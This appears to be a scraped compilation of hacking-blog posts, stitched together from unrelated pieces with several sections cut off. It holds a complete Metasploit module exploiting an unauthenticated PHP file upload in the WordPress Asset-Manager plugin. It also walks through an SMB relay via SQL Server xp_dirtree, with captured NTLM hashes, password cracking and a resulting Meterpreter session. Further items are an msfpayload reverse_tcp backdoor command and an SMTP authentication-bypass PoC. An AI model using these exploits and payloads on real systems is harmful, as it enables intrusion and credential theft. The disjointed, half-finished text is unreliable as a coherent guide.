##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'
require 'msf/core/exploit/php_exe'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::PhpEXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WordPress Asset-Manager PHP File Upload Vulnerability',
            'Description'    => %q{
                This module exploits a vulnerability found in Asset-Manager <= 2.0   WordPress
                plugin.  By abusing the upload.php file, a malicious user can upload a file to a
                temp directory without authentication, which results in arbitrary code execution.
            },
            'Author'         =>
                [
                    'Sammy FORGIT', # initial discovery
                    'James Fitts ' # metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'OSVDB', '82653' ],
                    [ 'BID', '53809' ],
                    [ 'EDB', '18993' ],
                    [ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
                ],
            'Payload'        =>
                {
                    'BadChars' => "\x00",
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        =>
                [
                    [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
                    [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'May 26 2012'))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
            ], self.class)
    end

    def exploit
        uri =  target_uri.path
        uri << '/' if uri[-1,1] != '/'
        peer = "#{rhost}:#{rport}"
        payload_name = "#{rand_text_alpha(5)}.php"
        php_payload = get_write_exec_payload(:unlink_self=>true)

        data = Rex::MIME::Message.new
        data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
        post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')

        print_status("#{peer} - Uploading payload #{payload_name}")
        res = send_request_cgi({
            'method'  => 'POST',
            'uri'     => "#{uri}wp-content/plugins/asset-manager/upload.php",
            'ctype'   => "multipart/form-data; boundary=#{data.bound}",
            'data'    => post_data
        })

        if not res or res.code != 200 or res.body !~ /#{payload_name}/
            fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
        end

        print_status("#{peer} - Executing payload #{payload_name}")
        res = send_request_raw({
            'uri'     => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
            'method'  => 'GET'
        })

        if res and res.code != 200
            fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
        end
    end
end




//The information contained within this publication is
//supplied "as-is"with no warranties or guarantees of fitness
//of use or otherwise. hackguide4u nor Adnan  accepts
//responsibility for any damage caused by the use or misuse of
//this informationBY BOT24

In this blog, I’ll provide a brief overview of SMB Relay attacks and show how they can be initiated through a Microsoft SQL Server.  I will also provide some practical examples that show how to use new Metasploit modules to gain unauthorized access to SQL Servers during a penetration test.    Below is a summary of what will be covered in this blog:

•  A Brief History of SMB Relay
• Using SQL Server to Iniate SMB Authentication Attacks
• Using Metasploit Modules to Capture and Crack Hashes
• Using Metasploit Modules to Relay Authentication

A Brief History of SMB Relay

Using SQL Server to Initiate SMB Authentication Attacks

 Using Metasploit Modules to Capture and Crack Hashes

• SQL  Server 1: 192.168.1.100
• Attacker System: 192.168.1.102

1. Start the Metasploit “smb” capture module to grab password hashes on the attacker’s system:

   msfconsole
   use auxiliary/server/capture/smb
   set CAINPWFILE /cain_hashes.txt
   set JOHNPWFILE /john_hashes.txt
   exploit

1. Execute the “mssql_ntlm_stealer” metasploit module to initiate SMB authentication via SQL Server 1 using domain credententials:

   msfconsole
   use auxiliary/admin/mssql/mssql_ntlm_stealer
   set USE_WINDOWS_AUTHENT true
   set DOMAIN DEMO
   set USERNAME test
   set PASSWORD Password12
   set RHOST 192.168.1.100
   set RPORT 1433
   Set SMBPROXY 192.168.1.102
   
   msf  auxiliary(mssql_ntlm_stealer) > run
   
   [*] DONT FORGET to run a SMB capture or relay module!
   [*] Forcing SQL Server at 192.168.1.100 to auth to 192.168.1.102 via xp_dirtree...
   [*] SMB Captured - 2012-11-26 10:45:35 -0600
   NTLMv1 Response Captured from 192.168.1.100:1051 - 192.168.1.100
   USER:sqlaccount DOMAIN:LVA OS:Windows Server 2003 3790 Service Pack 2 LM:
   LMHASH:b0b6932dae11731fc8ddf907024858f89fd700cd9fb72170
   NTHASH:c180596a2d116a3c70c329de3a7b097c15fb75cb07822d08
   
   [+] Successfully executed xp_dirtree on 192.168.1.100
   [+] Go check your SMB relay or capture module for goodies!
   [*] Scanned 1 of 1 hosts (100% complete)
   [*] Auxiliary module execution completed

1. Crack the first 16 characters of the recovered LANMAN hash with rcracki and a seeded half LM Rainbow Tables. Both can be downloaded from http://www.project-rainbowcrack.com.

   C:\>rcracki_mt -h b0b6932dae11731f ./halflmchall
   Using 1 threads for pre-calculation and false alarm checking...
   Found 4 rainbowtable files...
   
   halflmchall_alpha-numeric#1-7_0_2400x57648865_1122334455667788_distrrtgen[p][i]_0.rti:
   reading index... 13528977 bytes read, disk access time: 0.14 s
   reading table... 461190920 bytes read, disk access time: 4.55 s
   searching for 1 hash...
   plaintext of b0b6932dae11731f is WINTER2
   cryptanalysis time: 0.96 s
   
   statistics
   -------------------------------------------------------
   plaintext found:            1 of 1 (100.00%)
   total disk access time:     4.68 s
   total cryptanalysis time:   0.96 s
   total pre-calculation time: 2.07 s
   total chain walk step:      2876401
   total false alarm:          1215
   total chain walk step due to false alarm: 1299561
   
   result
   -------------------------------------------------------
   b0b6932dae11731f        WINTER2 hex:57494e54455232

1. Crack the second half with john the ripper to obtain the case insensitive full LM password. Use the netntlm.pl script from the jumbo pack. They can be downloaded from http://www.openwall.com/john/.

   C:\>perl netntlm.pl --seed WINTER2 --file john_hashes.txt
   
   …[TRUNCATED]…
   
   Loaded 1 password hash (LM C/R DES [netlm])
   WINTER2012       (sqlaccount)
   guesses: 1  time: 0:00:00:10 DONE (Mon Nov 26 10:59:56 2012)
   c/s: 428962  trying: WINTER204K - WINTER211IA
   
   …[TRUNCATED]…

2. Run the same command again to obtain the case sensitve password.

   C:\>perl netntlm.pl --seed WINTER2 --file john_hashes.txt
   
   …[TRUNCATED]…
   
   Performing NTLM case-sensitive crack for account: sqlaccount.
   guesses: 1  time: 0:00:00:00 DONE (Mon Nov 26 11:01:54 2012)
   c/s: 1454  trying: WINTER2012 - winter2012
   Use the "--show" option to display all of the cracked passwords reliably
   Loaded 1 password hash (NTLMv1 C/R MD4 DES [ESS MD5] [netntlm])
   Winter2012       (sqlaccount)
   
   …[TRUCATED]…

Using Metasploit Modules to Relay SMB Authentication

• SQL  Server 1: 192.168.1.100
• SQL  Server 2: 192.168.1.101
• Attacker System: 192.168.1.102

1. Start the Metasploit “smb_relay” module to relay authentication to SQL Server 2:

   msfconsole
   use exploit/windows/smb/smb_relay
   set SMBHOST 192.168.1.101
   exploit

1. Configure and execute the “mssql_ntlm_stealer” Metasploit module against SQL Server 1:

   msfconsole
   use auxiliary/admin/mssql/mssql_ntlm_stealer
   set USE_WINDOWS_AUTHENT true
   set DOMAIN DEMO
   set USERNAME test
   set PASSWORD Password12
   set RHOST 192.168.1.100
   set RPORT 1433
   Set SMBPROXY 192.168.1.102
   
   msf  auxiliary(mssql_ntlm_stealer) > run
   
   [*] DONT FORGET to run a SMB capture or relay module!
   [*] Forcing SQL Server at 192.168.1.100 to auth to 192.168.1.102 via xp_dirtree...
   [*] Received 192.168.1.100:1058 LVA\sqlaccount LMHASH:feefee989
   c0b45f833b7635f0d2ffd667f4bd0019c952d5a NTHASH:8f3e0be3190fee6b
   d17b793df4ace8f96e59d324723fcc95 OS:Windows Server 2003 3790
   Service Pack 2 LM:
   [*] Authenticating to 192.168.1.101 as LVA\sqlaccount...
   [*] AUTHENTICATED as LVA\sqlaccount...
   [*] Connecting to the ADMIN$ share...
   [*] Regenerating the payload...
   [*] Uploading payload...
   [*] Created \saEQcXca.exe...
   [*] Connecting to the Service Control Manager...
   [*] Obtaining a service manager handle...
   [*] Creating a new service...
   [*] Closing service handle...
   [*] Opening service...
   [*] Starting the service...
   [*] Removing the service...
   [*] Sending stage (752128 bytes) to 192.168.1.101
   [*] Closing service handle...
   [*] Deleting \saEQcXca.exe...
   [*] Sending Access Denied to 192.168.1.100:1058 LVA\sqlaccount
   [+] Successfully executed xp_dirtree on 192.168.1.100
   [+] Go check your SMB relay or capture module for goodies!
   [*] Scanned 1 of 1 hosts (100% complete)
   [*] Auxiliary module execution completed
   msf  auxiliary(mssql_ntlm_stealer) >
   [*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.101:1059) at 2012-11-26
   11:54:18 -0600

Wrap Up

Microsoft SQL Server fingerprinting can be a time consuming process, because it involves trial and error methods to determine the exact version. Intentionally inserting an invalid input to obtain a typical error message or using certain alphabets that are unique for certain server are two of the many ways to possibly determine the version, but most of them require authentication, permissions and/or privileges on Microsoft SQL Server to succeed.

Instead, ESF.pl uses a combination of crafted packets for SQL Server Resolution Protocol (SSRP) and Tabular Data Stream Protocol (TDS) (protocols natively used by Microsoft SQL Server) to accurately perform version fingerprinting and determine the exact Microsoft SQL Server version. ESF.pl also applies a sophisticated Scoring Algorithm Mechanism (Powered by Exploit Next Generation⁺⁺ Technology), which is a much more reliable technique to determine the Microsoft SQL Server version. It is a tool intended to be used by:

This version is a completely rewritten version in Perl, making ESF.pl much more

 portable than the previous binary version (Win32), and its original purpose is 

to be used as a tool to perform automated penetration test. This version 
also includes the followingMicrosoft SQL Server versions to its fingerprint 

database:
        • Microsoft SQL Server 2012 SP1 (CU1)
        • Microsoft SQL Server 2012 SP1
        • Microsoft SQL Server 2012 SP1 CTP4
        • Microsoft SQL Server 2012 SP1 CTP3
        • Microsoft SQL Server 2012 SP0 (CU4)
        • Microsoft SQL Server 2012 SP0 (MS12-070)
        • Microsoft SQL Server 2012 SP0 (CU3)
        • Microsoft SQL Server 2012 SP0 (CU2)
        • Microsoft SQL Server 2012 SP0 (CU1)
        • Microsoft SQL Server 2012 SP0 (MS12-070)
        • Microsoft SQL Server 2012 SP0 (KB2685308)
        • Microsoft SQL Server 2012 RTM

For those of you wondering why metasploit uses nmap 5.61 instead of 6.01 when you do
an nmap scan in metasploit its because metasploit has its own nmap built in and the metasploit devs haven't upgraded it yet
if you want to use Nmap 6.01 in metasploit do the following.

Code:
su
mv /opt/metasploit/common/bin/nmap /opt/metasploit/common/bin/nmap.bak
ln -s /usr/local/bin/nmap /opt/metasploit/common/bin/
cd /opt/metasploit/common/lib
cd ../../msf3;./msfconsole
db_nmap -sS -sV -O 192.168.1.0/24            # your gateway maybe different to get your gateway follow below #

Copy and paste below into terminal to get Your Gateway

BackTrack 5R2 comes in several flavours and architectures. 
Download BackTrack 5R2 32bit Gnome
Download BackTrack 5R2 32bit KDE
DownloadBackTrack 5R2 64bit Gnome
Download BackTrack 5R2 64bit KDE

Quick demo as part of post exploitation phase with Metasploit Framework and some tips about the Windows Security Center and the system notifications

DEFT (Digital Evidence & Forensic Toolkit) is a customised distribution of the Lubuntu live Linux CD. It is an easy-to-use system that includes excellent hardware detection and some of the best open-source applications dedicated to incident response and computer forensics.   


New features:


- Based on Lubuntu 11.10
- Installable Distro
- Linux kernel 3.0.0-12, USB 3 ready
- Libewf 20100226
- Afflib 3.6.14
- TSK 3.2.3
- Autopsy 2.24
- Digital Forensic Framework 1.2
- PTK Forensic 1.0.5 DEFT edition
- Maltego CE
- KeepNote 0.7.6
- Xplico 0.7.1
- Scalpel 2
- Hunchbackeed Foremost 0.6
- Findwild 1.3
- Bulk Extractor 1.1
- Emule Forensic 1.0
- Guymager 0.6.3-1
- Dhash 2
- Cyclone wizard acquire tool
- SQLite Database Browser 2.0b1
- BitPim 1.0.7
- Bbwhatsapp database converter
- Creepy 0.1.9
- Hydra 7.1
- Log2timeline 0.60
 - Wine 1.3.28 


Download: http://www.mirrordeft.net

In this tutorial i will exploit a Windows 7 Sp1 OS using Metasploit. i will be using the exploit/multi/handler module which “provides all of the features of the Metasploit payload system to exploits that have been launched  outside of the framework“
Before we fire up Metasploit, we need to create a payload in order to gain a meterpreter shell. To create a payload type this in the terminal without the quotes:


msfpayload windows/meterpreter/reverse_tcp LHOST=”your Local IP” LPORT=”listening port” x > /root/backdoor.exe


I used port 4444 (you can choose your own port) for the LPORT which is the listening port and set the LHOST to the IP of the remote attacker which is obviously your Local IP address, my IP is 192.168.10.5.

If you have not patched yet for vulnerability MS11-100 you might want to do it ASAP, because the DoS PoC exploit for this vulnerability has been published three days ago.


More information about the vulnerability and patches at http://technet.microsoft.com/en-us/security/bulletin/ms11-100

Title: Simple Mail Server - SMTP Authentication Bypass Vulnerability


Software : Simple Mail Server


Software Version : 2011-12-30


Vendor: http://simplemailsvr.sourceforge.net/


Class:  Origin Validation Error  


CVE:

Remote:  Yes  


Local:  No  


Published:  2012-01-08


Updated: 


CVSS2 Base: 6.4 (AV:N/AC:L/Au:N/C:P/I:N/A:P)


Impact : Medium (4 < 6.4 < 8)


Bug Description :
Simple Mail Server is a tiny Mail Server written in C#. It can be sent mail without password by using usual tcp 
client(such as telnet).
And it did not have SMTP authentication contoller.


POC(Remarks: domain alex.com and user alex () alex com must be exists in configuration for this test case):
telnet 127.0.0.1 25
220 TEST-121F797342 SMTP ready.
EHLO mail_of_alert
500 Not supported. Use HELO
MAIL FROM:
250 OK
RCPT TO:
250 OK
Data
354 Start mail input; end with .
From: "alex () alex com"
To: "alex () alex com"
Subject: authenticate is not required!

SSLSmart, a highly flexible and interactive tool aimed at improving efficiency and reducing the false positives during SSL testing.
Among other things, SSLSmart simply an advanced and highly flexible Ruby based smart SSL cipher enumeration tool. It is an open source, cross platform, free tool. It was programmed because a number of tools on the Windows platform allow users to test for supported SSL ciphers suites, but most only provide testers with a fixed set of cipher suites. Further testing is performed by initiating an SSL socket connection with one cipher suite at a time, an inefficient approach that leads to false positives and often does not provide a clear picture of the true vulnerability of the server. SSLSmart is designed to combat these shortcomings.


SSLSmart Features:


SSLSmart offers a wide range of features to improve testing efficiency and reduce false positives. These features are as follows:

• Content Scan (default): Exact server response can be seen in HTML and Text forms for each
• cipher suite selected for the test URL. Basically, it shows various server error messages received for weak cipher suites from live systems.
• CONNECT Scan: Focuses only on success or failure of SSL socket connection with various cipher suites. This behavior does not offer any advantage over existing SSL testing tools and is thus likely to have similar issues with false positives. However, this scan is faster and consumes fewer network and CPU resources.
• Dynamic Cipher Suite Support: Most SSL testing tools provide a fixed set of cipher suites. SSLSmart hooks into Ruby OpenSSL bindings and offers dynamic “on the fly” cipher suite generation capabilities.
• Certificate Verification: SSLSmart performs server certificate verification. It uses the Firefox Root CA Certificate4 repository to perform Root CA verification. Additional Root CA Certificates can be added to the rootcerts.pem file or a custom .pem file can be supplied for Root CA Certificate verification.
• Proxy Support: SSLSmart provides web proxy support. For results to be accurate, it is important to use a transparent proxy5.
• Reporting: Reports can be generated in XML, HTML and Text formats along with their verbose versions. Verbose report versions include complete application response for each cipher suite and full details of the server certificate.
• API’s: Monkey patched Ruby API’s that form the backbone of SSLSmart can be consumed to write custom Ruby scripts for quick tests. These API’s can be consumed by users who work with the SSLSmart gem.